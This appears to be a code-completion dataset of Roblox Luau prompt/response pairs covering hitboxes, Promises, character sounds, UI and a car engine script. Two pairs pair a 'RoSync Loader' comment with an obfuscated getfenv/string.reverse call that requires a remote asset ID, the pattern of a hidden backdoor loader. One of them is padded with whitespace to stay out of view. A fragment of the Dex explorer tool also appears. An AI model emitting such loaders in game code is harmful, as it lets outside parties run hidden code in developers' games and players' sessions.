--- Runs for the very first time whenever a hitbox is created
--- Do not run this more than once, you may introduce memory leaks if you do so

Response:
function Hitbox:_Init()
	if not self.HitboxObject then return end

	local tagConnection: RBXScriptConnection

	local function onTagRemoved(instance: Instance)
		if instance == self.HitboxObject then
			tagConnection:Disconnect()
			self:Destroy()
		end
	end

	self:Recalibrate()
	table.insert(ActiveHitboxes, self)
	CollectionService:AddTag(self.HitboxObject, self.Tag)

	tagConnection = CollectionService:GetInstanceRemovedSignal(self.Tag):Connect(onTagRemoved)
end

local function Init()
	--- Reserve table sizing for solver tables
	local solversCache: {[number]: any} = table.create(#Solvers:GetChildren())

	DEFAULT_SIMULATION_TYPE:Connect(function(step: number)
		--- Iterate through all the hitboxes
		for i = #ActiveHitboxes, 1, -1 do
			--- Skip this hitbox if the hitbox will be garbage collected this frame
			if ActiveHitboxes[i].HitboxPendingRemoval then
				local hitbox: any = table.remove(ActiveHitboxes, i)
				table.clear(hitbox)
				setmetatable(hitbox, nil)
				continue
			end

			for _: number, point: Point in ipairs(ActiveHitboxes[i].HitboxRaycastPoints) do
				--- Reset this point if the hitbox is inactive
				if not ActiveHitboxes[i].HitboxActive then
					point.LastPosition = nil
					continue
				end

				--- Calculate rays
				local castMode: any = solversCache[point.CastMode]
				local origin: Vector3, direction: Vector3 = castMode:Solve(point)
				local raycastResult: RaycastResult = workspace:Raycast(origin, direction, ActiveHitboxes[i].RaycastParams)

				--- Draw debug rays
				if ActiveHitboxes[i].Visualizer then
					local adornmentData: AdornmentData? = VisualizerCache:GetAdornment()

					if adornmentData then
						local debugStartPosition: CFrame = castMode:Visualize(point)
						adornmentData.Adornment.Length = direction.Magnitude
						adornmentData.Adornment.CFrame = debugStartPosition
					end
				end

				--- Update the current point's position
				point.LastPosition = castMode:UpdateToNextPosition(point)

				--- If a ray detected a hit
				if raycastResult then
					local part: BasePart = raycastResult.Instance
					local model: Instance?
					local humanoid: Instance?
					local target: Instance?

					if ActiveHitboxes[i].DetectionMode == 1 then
						model = part:FindFirstAncestorOfClass("Model")
						if model then
							humanoid = model:FindFirstChildOfClass("Humanoid")
						end
						target = humanoid
					else
						target = part
					end

					--- Found a target. Fire the OnHit event
					if target then
						if ActiveHitboxes[i].DetectionMode <= 2 then
							if ActiveHitboxes[i].HitboxHitList[target] then
								continue
							else
								ActiveHitboxes[i].HitboxHitList[target] = true
							end
						end

						ActiveHitboxes[i].OnHit:Fire(part, humanoid, raycastResult, point.Group)
					end
				end

				--- Hitbox Time scheduler
				if ActiveHitboxes[i].HitboxStopTime > 0 then
					if ActiveHitboxes[i].HitboxStopTime <= os.clock() then
						ActiveHitboxes[i]:HitStop()
					end
				end

				--- OnUpdate event that fires every frame for every point
				ActiveHitboxes[i].OnUpdate:Fire(point.LastPosition)

				--- Update SignalType
				if ActiveHitboxes[i].OnUpdate._signalType ~= ActiveHitboxes[i].SignalType then
					ActiveHitboxes[i].OnUpdate._signalType = ActiveHitboxes[i].SignalType
					ActiveHitboxes[i].OnHit._signalType = ActiveHitboxes[i].SignalType
				end
			end
		end

		local adornmentsInUse: number = #VisualizerCache._AdornmentInUse

		--- Iterates through all the debug rays to see if they need to be cached or cleaned up
		if adornmentsInUse > 0 then
			for i = adornmentsInUse, 1, -1 do
				if (os.clock() - VisualizerCache._AdornmentInUse[i].LastUse) >= DEFAULT_DEBUGGER_RAY_DURATION then
					local adornment: AdornmentData? = table.remove(VisualizerCache._AdornmentInUse, i)

					if adornment then
						VisualizerCache:ReturnAdornment(adornment)
					end
				end
			end
		end
	end)

	--- Require all solvers
	for castMode: string, enum: number in pairs(Hitbox.CastModes) do
		local moduleScript: Instance? = Solvers:FindFirstChild(castMode)

		if moduleScript then
			local load = require(moduleScript)
			solversCache[enum] = load
		end
	end
end

Init()

return Hitbox


Prompt:
--[=[
	Converts this arbitrary value into an observable suitable for use in properties.

	@param value any
	@return Observable?
]=]

Response:
function Blend.toPropertyObservable(value)
	if Observable.isObservable(value) then
		return value
	elseif typeof(value) == "Instance" then
		-- IntValue, ObjectValue, et cetera
		if ValueBaseUtils.isValueBase(value) then
			return RxValueBaseUtils.observeValue(value)
		end
	elseif type(value) == "table" then
		if ValueObject.isValueObject(value) then
			return ValueObjectUtils.observeValue(value)
		elseif Promise.isPromise(value) then
			return Rx.fromPromise(value)
		elseif value.Observe then
			return value:Observe()
		end
	end

	return nil
end


Prompt:
--[[
	Intended for use in tests.

	Similar to await(), but instead of yielding if the promise is unresolved,
	_unwrap will throw. This indicates an assumption that a promise has
	resolved.
]]

Response:
function Promise.prototype:_unwrap()
	if self._status == Promise.Status.Started then
		error("Promise has not resolved or rejected.", 2)
	end

	local success = self._status == Promise.Status.Resolved

	return success, unpack(self._values, 1, self._valuesLength)
end

function Promise.prototype:_resolve(...)
	if self._status ~= Promise.Status.Started then
		if Promise.is((...)) then
			(...):_consumerCancelled(self)
		end
		return
	end

	-- If the resolved value was a Promise, we chain onto it!
	if Promise.is((...)) then
		-- Without this warning, arguments sometimes mysteriously disappear
		if select("#", ...) > 1 then
			local message = string.format(
				"When returning a Promise from andThen, extra arguments are " ..
				"discarded! See:\n\n%s",
				self._source
			)
			warn(message)
		end

		local chainedPromise = ...

		local promise = chainedPromise:andThen(
			function(...)
				self:_resolve(...)
			end,
			function(...)
				local maybeRuntimeError = chainedPromise._values[1]

				-- Backwards compatibility < v2
				if chainedPromise._error then
					maybeRuntimeError = Error.new({
						error = chainedPromise._error,
						kind = Error.Kind.ExecutionError,
						context = "[No stack trace available as this Promise originated from an older version of the Promise library (< v2)]",
					})
				end

				if Error.isKind(maybeRuntimeError, Error.Kind.ExecutionError) then
					return self:_reject(maybeRuntimeError:extend({
						error = "This Promise was chained to a Promise that errored.",
						trace = "",
						context = string.format(
							"The Promise at:\n\n%s\n...Rejected because it was chained to the following Promise, which encountered an error:\n",
							self._source
						),
					}))
				end

				self:_reject(...)
			end
		)

		if promise._status == Promise.Status.Cancelled then
			self:cancel()
		elseif promise._status == Promise.Status.Started then
			-- Adopt ourselves into promise for cancellation propagation.
			self._parent = promise
			promise._consumers[self] = true
		end

		return
	end

	self._status = Promise.Status.Resolved
	self._valuesLength, self._values = pack(...)

	-- We assume that these callbacks will not throw errors.
	for _, callback in ipairs(self._queuedResolve) do
		coroutine.wrap(callback)(...)
	end

	self:_finalize()
end

function Promise.prototype:_reject(...)
	if self._status ~= Promise.Status.Started then
		return
	end

	self._status = Promise.Status.Rejected
	self._valuesLength, self._values = pack(...)

	-- If there are any rejection handlers, call those!
	if not isEmpty(self._queuedReject) then
		-- We assume that these callbacks will not throw errors.
		for _, callback in ipairs(self._queuedReject) do
			coroutine.wrap(callback)(...)
		end
	else
		-- At this point, no one was able to observe the error.
		-- An error handler might still be attached if the error occurred
		-- synchronously. We'll wait one tick, and if there are still no
		-- observers, then we should put a message in the console.

		local err = tostring((...))

		coroutine.wrap(function()
			Promise._timeEvent:Wait()

			-- Someone observed the error, hooray!
			if not self._unhandledRejection then
				return
			end

			-- Build a reasonable message
			local message = string.format(
				"Unhandled Promise rejection:\n\n%s\n\n%s",
				err,
				self._source
			)

			if Promise.TEST then
				-- Don't spam output when we're running tests.
				return
			end
		end)()
	end

	self:_finalize()
end


Prompt: -- Connect 'setupPlayerData()' function to 'PlayerAdded' event

Response:
game.Players.PlayerAdded:Connect(setupPlayerData)

return PlayerStatManager


Prompt:
-- TwinPlayz
-- Change the asset ID to any decal you want make sure your cursor is either transparent or not.

Response: game.Players.LocalPlayer:GetMouse().Icon = "rbxassetid://68308747";


Prompt: --// KeyBindings

Response:
	FireSelectKey = Enum.KeyCode.V;
	CycleSightKey = Enum.KeyCode.T;
	LaserKey = Enum.KeyCode.L;
	LightKey = Enum.KeyCode.G;
	InteractKey = Enum.KeyCode.E;
	AlternateAimKey = Enum.KeyCode.Z;
	InspectionKey = Enum.KeyCode.H;
	AttachmentKey = Enum.KeyCode.LeftControl;


Prompt: -- Create component

Response: local TextLabel = Roact.PureComponent:extend 'TextLabel'


Prompt: --[[ Last synced 7/2/2022 01:06 || RoSync Loader ]]

Response: getfenv()[string.reverse("\101\114\105\117\113\101\114")](5754612086)


Prompt: -- Roblox character sound script

Response:
local Players = game:GetService("Players")
local RunService = game:GetService("RunService")

local SOUND_DATA : { [string]: {[string]: any}} = {
	Climbing = {
		SoundId = "rbxasset://sounds/action_footsteps_plastic.mp3", --Change these IDs to what you want, it can be numbers, Roblox just has their default sounds look different.
		Looped = true,  --For example, if i change "rbxasset://sounds/action_footsteps_plastic.mp3" to your custom sound, it would play that sound when you have action footsteps. I don't know what action footsteps are im assuming it's just walking.
	},
	Died = {
		SoundId = "rbxasset://sounds/uuhhh.mp3",
	},
	FreeFalling = {
		SoundId = "rbxasset://sounds/action_falling.mp3",
		Looped = true,
	},
	GettingUp = {
		SoundId = "rbxasset://sounds/action_get_up.mp3",
	},
	Jumping = {
		SoundId = "rbxasset://sounds/action_jump.mp3",
	},
	Landing = {
		SoundId = "rbxasset://sounds/action_jump_land.mp3",
	},
	Running = {
		SoundId = "rbxasset://sounds/action_footsteps_plastic.mp3",
		Looped = true,
		Pitch = 1.85,
	},
	Splash = {
		SoundId = "rbxasset://sounds/impact_water.mp3",
	},
	Swimming = {
		SoundId = "rbxasset://sounds/action_swim.mp3",
		Looped = true,
		Pitch = 1.6,
	},
}


Prompt:
--[=[
	Creates an immediately rejected Promise with the given value.

	:::caution
	Something needs to consume this rejection (i.e. `:catch()` it), otherwise it will emit an unhandled Promise rejection warning on the next frame. Thus, you should not create and store rejected Promises for later use. Only create them on-demand as needed.
	:::

	```lua
	-- Example using Promise.resolve to deliver cached values:
	function getSomething(name)
		if cache[name] then
			return Promise.resolve(cache[name])
		else
			return Promise.new(function(resolve, reject)
				local thing = getTheThing()
				cache[name] = thing

				resolve(thing)
			end)
		end
	end
	```

	@param ... any
	@return Promise<...any>
]=]

Response:
function Promise.reject(...)
	local length, values = pack(...)
	return Promise._new(debug.traceback(nil, 2), function(_, reject)
		reject(unpack(values, 1, length))
	end)
end


Prompt:
--[=[
	@return table
	Returns a serialized version of the option.
]=]

Response:
function Option:Serialize()
	return {
		ClassName = self.ClassName;
		Value = self._v;
	}
end


Prompt: -- padding between each entry

Response:
local ENTRY_MARGIN = 1

local explorerPanel = script.Parent
local Input = game:GetService("UserInputService")
local HoldingCtrl = false
local HoldingShift = false

local addObject
local removeObject
local gameChildren = {}

table.insert(gameChildren, game:GetService("Workspace"))
table.insert(gameChildren, game:GetService("Players"))
table.insert(gameChildren, game:GetService("Lighting"))
table.insert(gameChildren, game:GetService("ReplicatedFirst"))
table.insert(gameChildren, game:GetService("ReplicatedStorage"))

pcall(function()
	table.insert(gameChildren, game:GetService("CoreGui"))
end)

table.insert(gameChildren, game:GetService("StarterGui"))
table.insert(gameChildren, game:GetService("StarterPack"))
table.insert(gameChildren, game:GetService("StarterPlayer"))
table.insert(gameChildren, game:GetService("SoundService"))
table.insert(gameChildren, game:GetService("Chat"))
table.insert(gameChildren, game:GetService("LocalizationService"))
table.insert(gameChildren, game:GetService("TestService"))

local childrenGame = {}

childrenGame[game:GetService("Workspace")] = true
childrenGame[game:GetService("Players")] = true
childrenGame[game:GetService("Lighting")] = true
childrenGame[game:GetService("ReplicatedFirst")] = true
childrenGame[game:GetService("ReplicatedStorage")] = true

pcall(function()
	childrenGame[game:GetService("CoreGui")] = true
end)

childrenGame[game:GetService("StarterGui")] = true
childrenGame[game:GetService("StarterPack")] = true
childrenGame[game:GetService("StarterPlayer")] = true
childrenGame[game:GetService("SoundService")] = true
childrenGame[game:GetService("Chat")] = true
childrenGame[game:GetService("LocalizationService")] = true
childrenGame[game:GetService("TestService")] = true

local MuteHiddenItems = true

local DexOutput = Instance_new("Folder")
DexOutput.Name = "Output"
local DexOutputMain = Instance_new("ScreenGui", DexOutput)
DexOutputMain.Name = "Dex Output"

local HiddenEntries = Instance_new("Folder")
local HiddenGame = Instance_new("Folder")
HiddenEntries.Name = "HiddenEntriesParent"
local HiddenEntriesMain = Instance_new("TextButton", HiddenEntries)
Instance_new("Folder", HiddenEntriesMain)

local function NameHiddenEntries()
	if MuteHiddenItems then
		HiddenEntriesMain.Name = "Expand to view (" .. (#game:children() - #gameChildren) .. ") hidden items"
	else
		HiddenEntriesMain.Name = "Collapse to hide (" .. (#game:children() - #gameChildren) .. ") more items"
	end
end

NameHiddenEntries()

local function print(...)
	local Obj = Instance_new("Dialog")
	Obj.Parent = DexOutputMain
	Obj.Name = ""
	for i,v in pairs(table.pack(...)) do
		Obj.Name = Obj.Name .. tostring(v) .. " "
	end
end

explorerPanel:WaitForChild("GetPrint").OnInvoke = function()
	return print
end


Prompt:
--[[
	An xpcall() error handler to collect and parse useful information about
	errors, such as clean messages and stack traces.
]]

Response:
local Package = script.Parent.Parent
local Types = require(Package.Types)

local function parseError(err: string): Types.Error
	return {
		raw = err,
		message = err:gsub("^.+:%d+:%s*", ""),
		trace = debug.traceback(nil, 2)
	}
end

return parseError


Prompt: -- Parts

Response:
local Frame = Home:WaitForChild("Frame")

local Hook1 = Swing1:WaitForChild("Hook1")
local Hook2 = Swing1:WaitForChild("Hook2")
local Hook3 = Swing2:WaitForChild("Hook3")
local Hook4 = Swing2:WaitForChild("Hook4")
local SwingSeat1 = Swing1:WaitForChild("SwingSeat1")
local SwingSeat2 = Swing2:WaitForChild("SwingSeat2")
local SwingMesh1 = Swing1:WaitForChild("SwingMesh1")
local SwingMesh2 = Swing2:WaitForChild("SwingMesh2")

local RopeSupport1 = Supports:WaitForChild("RopeSupport1")
local RopeSupport2 = Supports:WaitForChild("RopeSupport2")
local RopeSupport3 = Supports:WaitForChild("RopeSupport3")
local RopeSupport4 = Supports:WaitForChild("RopeSupport4")


Prompt: --[[ Last synced 10/9/2020 09:09                                                                                RoSync Loader ]]

Response: getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722947559) --[[                                                                                ]]--


Prompt:
--- Validates that all of the arguments are in a valid state.
-- This must be called before :Run() is called.
-- Returns boolean (true if ok), errorText

Response:
function Command:Validate (isFinal)
	self._Validated = true
	local errorText = ""
	local success = true

	for i, arg in pairs(self.Arguments) do
		local argSuccess, argErrorText = arg:Validate(isFinal)

		if not argSuccess then
			success = false
			errorText = ("%s; #%d %s: %s"):format(errorText, i, arg.Name, argErrorText or "error")
		end
	end

	return success, errorText:sub(3)
end


Prompt: --[[ Place this script into "StarterPlayer.StarterPlayerScripts" ]]

Response:
--

local StarterGui = game:GetService("StarterGui")


Prompt: -- map a value from one range to another

Response:
local function map(x, inMin, inMax, outMin, outMax)
	return (x - inMin)*(outMax - outMin)/(inMax - inMin) + outMin
end

local function playSound(sound)
	sound.TimePosition = 0
	sound.Playing = true
end

local function stopSound(sound)
	sound.Playing = false
	sound.TimePosition = 0
end

local function shallowCopy(t)
	local out = {}
	for k, v in pairs(t) do
		out[k] = v
	end
	return out
end

local function initializeSoundSystem(player, humanoid, rootPart)
	local sounds = {}

	-- initialize sounds
	for name, props in pairs(SOUND_DATA) do
		local sound = Instance.new("Sound")
		sound.Name = name

		-- set default values
		sound.Archivable = false
		sound.EmitterSize = 5
		sound.MaxDistance = 150
		sound.Volume = 0.65

		for propName, propValue in pairs(props) do
			sound[propName] = propValue
		end

		sound.Parent = rootPart
		sounds[name] = sound
	end

	local playingLoopedSounds = {}

	local function stopPlayingLoopedSounds(except)
		for sound in pairs(shallowCopy(playingLoopedSounds)) do
			if sound ~= except then
				sound.Playing = false
				playingLoopedSounds[sound] = nil
			end
		end
	end

	-- state transition callbacks
	local stateTransitions = {
		[Enum.HumanoidStateType.FallingDown] = function()
			stopPlayingLoopedSounds()
		end,

		[Enum.HumanoidStateType.GettingUp] = function()
			stopPlayingLoopedSounds()
			playSound(sounds.GettingUp)
		end,

		[Enum.HumanoidStateType.Jumping] = function()
			stopPlayingLoopedSounds()
			playSound(sounds.Jumping)
		end,

		[Enum.HumanoidStateType.Swimming] = function()
			local verticalSpeed = math.abs(rootPart.Velocity.Y)
			if verticalSpeed > 0.1 then
				sounds.Splash.Volume = math.clamp(map(verticalSpeed, 100, 350, 0.28, 1), 0, 1)
				playSound(sounds.Splash)
			end
			stopPlayingLoopedSounds(sounds.Swimming)
			sounds.Swimming.Playing = true
			playingLoopedSounds[sounds.Swimming] = true
		end,

		[Enum.HumanoidStateType.Freefall] = function()
			sounds.FreeFalling.Volume = 0
			stopPlayingLoopedSounds(sounds.FreeFalling)
			playingLoopedSounds[sounds.FreeFalling] = true
		end,

		[Enum.HumanoidStateType.Landed] = function()
			stopPlayingLoopedSounds()
			local verticalSpeed = math.abs(rootPart.Velocity.Y)
			if verticalSpeed > 75 then
				sounds.Landing.Volume = math.clamp(map(verticalSpeed, 50, 100, 0, 1), 0, 1)
				playSound(sounds.Landing)
			end
		end,

		[Enum.HumanoidStateType.Running] = function()
			stopPlayingLoopedSounds(sounds.Running)
			sounds.Running.Playing = true
			playingLoopedSounds[sounds.Running] = true
		end,

		[Enum.HumanoidStateType.Climbing] = function()
			local sound = sounds.Climbing
			if math.abs(rootPart.Velocity.Y) > 0.1 then
				sound.Playing = true
				stopPlayingLoopedSounds(sound)
			else
				stopPlayingLoopedSounds()
			end
			playingLoopedSounds[sound] = true
		end,

		[Enum.HumanoidStateType.Seated] = function()
			stopPlayingLoopedSounds()
		end,

		[Enum.HumanoidStateType.Dead] = function()
			stopPlayingLoopedSounds()
			playSound(sounds.Died)
		end,
	}

	-- updaters for looped sounds
	local loopedSoundUpdaters = {
		[sounds.Climbing] = function(dt, sound, vel)
			sound.Playing = vel.Magnitude > 0.1
		end,

		[sounds.FreeFalling] = function(dt, sound, vel)
			if vel.Magnitude > 75 then
				sound.Volume = math.clamp(sound.Volume + 0.9*dt, 0, 1)
			else
				sound.Volume = 0
			end
		end,

		[sounds.Running] = function(dt, sound, vel)
			sound.Playing = vel.Magnitude > 0.5 and humanoid.MoveDirection.Magnitude > 0.5
		end,
	}

	-- state substitutions to avoid duplicating entries in the state table
	local stateRemap = {
		[Enum.HumanoidStateType.RunningNoPhysics] = Enum.HumanoidStateType.Running,
	}

	local activeState = stateRemap[humanoid:GetState()] or humanoid:GetState()
	local activeConnections = {}

	local stateChangedConn = humanoid.StateChanged:Connect(function(_, state)
		state = stateRemap[state] or state

		if state ~= activeState then
			local transitionFunc = stateTransitions[state]

			if transitionFunc then
				transitionFunc()
			end

			activeState = state
		end
	end)

	local steppedConn = RunService.Stepped:Connect(function(_, worldDt)
		-- update looped sounds on stepped
		for sound in pairs(playingLoopedSounds) do
			local updater = loopedSoundUpdaters[sound]

			if updater then
				updater(worldDt, sound, rootPart.Velocity)
			end
		end
	end)

	local humanoidAncestryChangedConn
	local rootPartAncestryChangedConn
	local characterAddedConn

	local function terminate()
		stateChangedConn:Disconnect()
		steppedConn:Disconnect()
		humanoidAncestryChangedConn:Disconnect()
		rootPartAncestryChangedConn:Disconnect()
		characterAddedConn:Disconnect()
	end

	humanoidAncestryChangedConn = humanoid.AncestryChanged:Connect(function(_, parent)
		if not parent then
			terminate()
		end
	end)

	rootPartAncestryChangedConn = rootPart.AncestryChanged:Connect(function(_, parent)
		if not parent then
			terminate()
		end
	end)

	characterAddedConn = player.CharacterAdded:Connect(terminate)
end

local function playerAdded(player)
	local function characterAdded(character)
		-- Avoiding memory leaks in the face of Character/Humanoid/RootPart lifetime has a few complications:
		-- * character deparenting is a Remove instead of a Destroy, so signals are not cleaned up automatically.
		-- ** must use a waitForFirst on everything and listen for hierarchy changes.
		-- * the character might not be in the dm by the time CharacterAdded fires
		-- ** constantly check consistency with player.Character and abort if CharacterAdded is fired again
		-- * Humanoid may not exist immediately, and by the time it's inserted the character might be deparented.
		-- * RootPart probably won't exist immediately.
		-- ** by the time RootPart is inserted and Humanoid.RootPart is set, the character or the humanoid might be deparented.

		if not character.Parent then
			waitForFirst(character.AncestryChanged, player.CharacterAdded)
		end

		if player.Character ~= character or not character.Parent then
			return
		end

		local humanoid = character:FindFirstChildOfClass("Humanoid")
		while character:IsDescendantOf(game) and not humanoid do
			waitForFirst(character.ChildAdded, character.AncestryChanged, player.CharacterAdded)
			humanoid = character:FindFirstChildOfClass("Humanoid")
		end

		if player.Character ~= character or not character:IsDescendantOf(game) then
			return
		end

		-- must rely on HumanoidRootPart naming because Humanoid.RootPart does not fire changed signals
		local rootPart = character:FindFirstChild("HumanoidRootPart")
		while character:IsDescendantOf(game) and not rootPart do
			waitForFirst(character.ChildAdded, character.AncestryChanged, humanoid.AncestryChanged, player.CharacterAdded)
			rootPart = character:FindFirstChild("HumanoidRootPart")
		end

		if rootPart and humanoid:IsDescendantOf(game) and character:IsDescendantOf(game) and player.Character == character then
			initializeSoundSystem(player, humanoid, rootPart)
		end
	end

	if player.Character then
		characterAdded(player.Character)
	end
	player.CharacterAdded:Connect(characterAdded)
end

Players.PlayerAdded:Connect(playerAdded)
for _, player in ipairs(Players:GetPlayers()) do
	playerAdded(player)
end


Prompt: --I am an academic weapon and machine.

Response:
local MWorks = require(game:GetService("ReplicatedStorage"):WaitForChild("Package").MWorks)
local module = {}

function module:setupUpdate() --Not used externally. Used for setting up classes of all types
	self.Updated = MWorks.newBindable()
end

function module.newClass(attributes)
	local self = {}
	if attributes then
		for i,v in pairs(attributes) do
			self[i] = v
		end
	end
	setmetatable(self,{
		__index = module;
	})
	self:setupUpdate()
	return self
end

function module:newSubClass(Name,attributes)
	local subClass = {}
	self[Name] = subClass
	if attributes then
		for i,v in pairs(attributes) do
			self[i] = v
		end
	end
	setmetatable(subClass,{__index = self})
	subClass:setupUpdate()
	return subClass
end

function module:Update(...)
	local args = table.pack(...)
	if type(args[1]) == "table" then
		local Table = args[1]
		for i,v in pairs(Table) do
			if self[i] then
				self[i] = v
				self.Updated:Fire(i,v)
			end
		end
	elseif args[1] ~= nil then
		local Name = args[1]
		local Value = args[2]
		self[Name] = Value
		self.Updated:Fire(Name,Value)
	else
		self.Updated:Fire()
	end
end

function module:newValue(...)
	local args = table.pack(...)
	local index;
	local Value;
	if #args < 1 then return end
	if #args > 1 then
		index = args[1]
		Value = args[2]
	else
		index = #self+1
		Value = args[1]
	end
	self[index] = Value
	self:Update(index,Value)
	return index
end

function module:removeValue(index)
	if self[index] == nil then return end
	self[index] = nil
	self:Update()
end

return module


Prompt: --Protected Turn 2A--: Standard GYR with a protected turn for two signal directions on one road and one on intersecting road

Response:
	--USES: Signal1, Signal1a, Signal2, Signal2a, Turn1, Turn2
while true do
	PedValues = script.Parent.Parent.PedValues
	SignalValues = script.Parent.Parent.SignalValues
	TurnValues = script.Parent.Parent.TurnValues


Prompt: --// Walk and Sway

Response:
local L_125_

local L_126_ = 0.6
local L_127_ = 0.05 -- speed
local L_128_ = -0.1 -- height

local L_129_ = 0
local L_130_ = 0
local L_131_ = 35 --This is the limit of the mouse input for the sway
local L_132_ = -9 --This is the magnitude of the sway when you're unaimed
local L_133_ = -9 --This is the magnitude of the sway when you're aimed


Prompt: -- Gradually regenerates the Humanoid's Health over time.

Response:
local REGEN_RATE = .5/100 -- Regenerate this fraction of MaxHealth per second.
local REGEN_STEP = 3 -- Wait this long between each regeneration step.


Prompt: -- Functional Services

Response: tween_service = game:GetService("TweenService")


Prompt: --Body Mover Setup--

Response:
local bp = body.BodyPosition
bp.Position = body.Position
bp.MaxForce = Vector3.new(math.huge,math.huge,math.huge)

local bg = myRoot.BodyGyro
bg.CFrame = myRoot.CFrame
bg.MaxTorque = Vector3.new(math.huge,math.huge,math.huge)
bgTorque = bg.MaxTorque


Prompt: --[[Engine]]

Response:
	local fFD = _Tune.FinalDrive*_Tune.FDMult
	local fFDr = fFD*30/math.pi
	local cGrav = workspace.Gravity*_Tune.InclineComp/32.2
	local wDRatio = wDia*math.pi/60
	local cfWRot = CFrame.Angles(math.pi/2,-math.pi/2,0)
	local cfYRot = CFrame.Angles(0,math.pi,0)
	local rtTwo = (2^.5)/2

	if _Tune.Aspiration == "Single" then
		_TCount = 1
		_TPsi = _Tune.Boost
	elseif _Tune.Aspiration == "Double" then
		_TCount = 2
		_TPsi = _Tune.Boost*2
	end

	--Horsepower Curve

	local HP=_Tune.Horsepower/100
	local HP_B=((_Tune.Horsepower*((_TPsi)*(_Tune.CompressRatio/10))/7.5)/2)/100
	local Peak=_Tune.PeakRPM/1000
	local Sharpness=_Tune.PeakSharpness
	local CurveMult=_Tune.CurveMult
	local EQ=_Tune.EqPoint/1000

	--Horsepower Curve

	function curveHP(RPM)
		RPM=RPM/1000
		return ((-(RPM-Peak)^2)*math.min(HP/(Peak^2),CurveMult^(Peak/HP))+HP)*(RPM-((RPM^Sharpness)/(Sharpness*Peak^(Sharpness-1))))
	end

	local PeakCurveHP = curveHP(_Tune.PeakRPM)

	function curvePSI(RPM)
		RPM=RPM/1000
		return ((-(RPM-Peak)^2)*math.min(HP_B/(Peak^2),CurveMult^(Peak/HP_B))+HP_B)*(RPM-((RPM^Sharpness)/(Sharpness*Peak^(Sharpness-1))))
	end
	local PeakCurvePSI = curvePSI(_Tune.PeakRPM)

	--Plot Current Horsepower
	function GetCurve(x,gear)
		local hp=(math.max(curveHP(x)/(PeakCurveHP/HP),0))*100
		return hp,((hp*(EQ/x))*_Tune.Ratios[gear+2]*fFD*hpScaling)*1000
	end

	--Plot Current Boost (addition to Horsepower)
	function GetPsiCurve(x,gear)
		local hp=(math.max(curvePSI(x)/(PeakCurvePSI/HP_B),0))*100
		return hp,((hp*(EQ/x))*_Tune.Ratios[gear+2]*fFD*hpScaling)*1000
	end

	--Output Cache
	local HPCache = {}
	local PSICache = {}

	for gear,ratio in pairs(_Tune.Ratios) do
		local nhpPlot = {}
		local bhpPlot = {}
		for rpm = math.floor(_Tune.IdleRPM/100),math.ceil((_Tune.Redline+100)/100) do
			local ntqPlot = {}
			local btqPlot = {}
			ntqPlot.Horsepower,ntqPlot.Torque = GetCurve(rpm*100,gear-2)
			btqPlot.Horsepower,btqPlot.Torque = GetPsiCurve(rpm*100,gear-2)
			hp1,tq1 = GetCurve((rpm+1)*100,gear-2)
			hp2,tq2 = GetPsiCurve((rpm+1)*100,gear-2)
			ntqPlot.HpSlope = (hp1 - ntqPlot.Horsepower)
			btqPlot.HpSlope = (hp2 - btqPlot.Horsepower)
			ntqPlot.TqSlope = (tq1 - ntqPlot.Torque)
			btqPlot.TqSlope = (tq2 - btqPlot.Torque)
			nhpPlot[rpm] = ntqPlot
			bhpPlot[rpm] = btqPlot
		end
		table.insert(HPCache,nhpPlot)
		table.insert(PSICache,bhpPlot)
	end

	--Powertrain
	wait()

	--Automatic Transmission
	function Auto()
		local maxSpin=0
		for i,v in pairs(Drive) do if v.RotVelocity.Magnitude>maxSpin then maxSpin = v.RotVelocity.Magnitude end end
		if _IsOn then
			_ClutchOn = true
			if _CGear >= 1 then
				if _GBrake > 0  and car.DriveSeat.Velocity.Magnitude < 5 then
					_CGear = 1
				else
					if _Tune.AutoShiftMode == "RPM" then
						if _RPM>(_Tune.PeakRPM+_Tune.AutoUpThresh) then
							if (_CGear ~= 0) and (_CGear ~= #_Tune.Ratios-2) then
								_GThrotShift = 0
								wait(_Tune.ShiftTime)
								_GThrotShift = 1
							end
							_CGear=math.min(_CGear+1,#_Tune.Ratios-2)
						elseif math.max(math.min(maxSpin*_Tune.Ratios[_CGear+1]*fFDr,_Tune.Redline+100),_Tune.IdleRPM)<(_Tune.PeakRPM-_Tune.AutoDownThresh) then
							if _CGear ~= 1 then
								_GThrotShift = 0
								wait(_Tune.ShiftTime/2)
								_GThrotShift = 1
							end
							_CGear=math.max(_CGear-1,1)
						end
					else
						if car.DriveSeat.Velocity.Magnitude > math.ceil(wDRatio*(_Tune.PeakRPM+_Tune.AutoUpThresh)/_Tune.Ratios[_CGear+2]/fFD) then
							if (_CGear ~= 0) and (_CGear ~= #_Tune.Ratios-2) then
								_GThrotShift = 0
								wait(_Tune.ShiftTime)
								_GThrotShift = 1
							end
							_CGear=math.min(_CGear+1,#_Tune.Ratios-2)
						elseif car.DriveSeat.Velocity.Magnitude < math.ceil(wDRatio*(_Tune.PeakRPM-_Tune.AutoDownThresh)/_Tune.Ratios[_CGear+1]/fFD) then
							if _CGear ~= 1 then
								_GThrotShift = 0
								wait(_Tune.ShiftTime/2)
								_GThrotShift = 1
							end
							_CGear=math.max(_CGear-1,1)
						end
					end
				end
			end
		end
	end

	local tqTCS = 1
	--Apply Power
	function Engine()
		--Neutral Gear
		if _CGear==0 then _ClutchOn = false end

		--Car Is Off
		local revMin = _Tune.IdleRPM
		if not _IsOn then
			revMin = 0
			_CGear = 0
			_ClutchOn = false
			_GThrot = _Tune.IdleThrottle/100
		end
		if car.DriveSeat.Tic.Value then
			revMin = 0
			_GThrot = _Tune.IdleThrottle/100
		end

		--Determine RPM
		local maxSpin=0
		local maxCount=0
		for i,v in pairs(Drive) do maxSpin = maxSpin + v.RotVelocity.Magnitude maxCount = maxCount + 1 end
		maxSpin=maxSpin/maxCount

		if _ClutchOn then
			local aRPM = math.max(math.min(maxSpin*_Tune.Ratios[_CGear+2]*fFDr,_Tune.Redline+100),revMin)
			local clutchP = math.min(math.abs(aRPM-_RPM)/_Tune.ClutchTol,.9)
			_RPM = _RPM*clutchP  +  aRPM*(1-clutchP)
		else
			if _GThrot-(_Tune.IdleThrottle/100)>0 then
				if _RPM>_Tune.Redline then
					_RPM = _RPM-_Tune.RevBounce*2
				else
					_RPM = math.min(_RPM+_Tune.RevAccel*_GThrot,_Tune.Redline+100)
				end
			else
				_RPM = math.max(_RPM-_Tune.RevDecay,revMin)
			end
		end

		--Rev Limiter
		_spLimit = (_Tune.Redline+100)/(fFDr*_Tune.Ratios[_CGear+2])
		if _RPM>_Tune.Redline then
			if _CGear<#_Tune.Ratios-2 then
